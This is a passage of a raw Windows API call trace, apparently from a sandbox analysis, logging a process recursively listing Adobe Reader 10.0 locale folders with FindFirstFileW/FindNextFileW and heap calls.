ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0217.979] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0217.986] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0217.994] GetProcessHeap () returned 0x550000 [0217.994] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0217.994] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 0 [0217.998] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0218.028] GetProcessHeap () returned 0x550000 [0218.028] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0218.093] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0218.136] GetProcessHeap () returned 0x550000 [0218.159] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0218.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0218.428] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.428] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0218.428] GetProcessHeap () returned 0x550000 [0218.428] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0218.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0218.444] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.444] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CAT", cAlternateFileName="ACCESS~1.CAT")) returned 1 [0218.444] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CAT", cAlternateFileName="")) returned 1 [0218.445] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CAT", cAlternateFileName="ADOBEC~1.CAT")) returned 1 [0218.445] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CAT", cAlternateFileName="")) returned 1 [0218.445] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CAT", cAlternateFileName="BRDLAN~1.CAT")) returned 1 [0218.445] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CAT", cAlternateFileName="")) returned 1 [0218.445] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CAT", cAlternateFileName="")) returned 1 [0218.445] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CAT", cAlternateFileName="")) returned 1 [0218.445] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CAT", cAlternateFileName="")) returned 1 [0218.445] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CAT", cAlternateFileName="")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CAT", cAlternateFileName="")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CAT", cAlternateFileName="MAKEAC~1.CAT")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CAT", cAlternateFileName="MULTIM~1.CAT")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CAT", cAlternateFileName="")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x85c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.CAT", cAlternateFileName="")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CAT", cAlternateFileName="")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CAT", cAlternateFileName="READOU~1.CAT")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CAT", cAlternateFileName="")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CAT", cAlternateFileName="SAVEAS~1.CAT")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CAT", cAlternateFileName="")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CAT", cAlternateFileName="")) returned 1 [0218.446] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0218.446] GetProcessHeap () returned 0x550000 [0218.446] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0218.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0218.455] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.455] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9586, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0218.455] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0218.455] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0218.455] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0218.455] GetProcessHeap () returned 0x550000 [0218.455] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0218.455] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CAT", cAlternateFileName="")) returned 1 [0218.455] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CAT", cAlternateFileName="")) returned 1 [0218.456] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 1 [0218.456] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 0 [0218.456] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0218.456] GetProcessHeap () returned 0x550000 [0218.456] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0218.456] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0218.456] GetProcessHeap () returned 0x550000 [0218.456] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0218.456] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0218.542] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.542] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CZE", 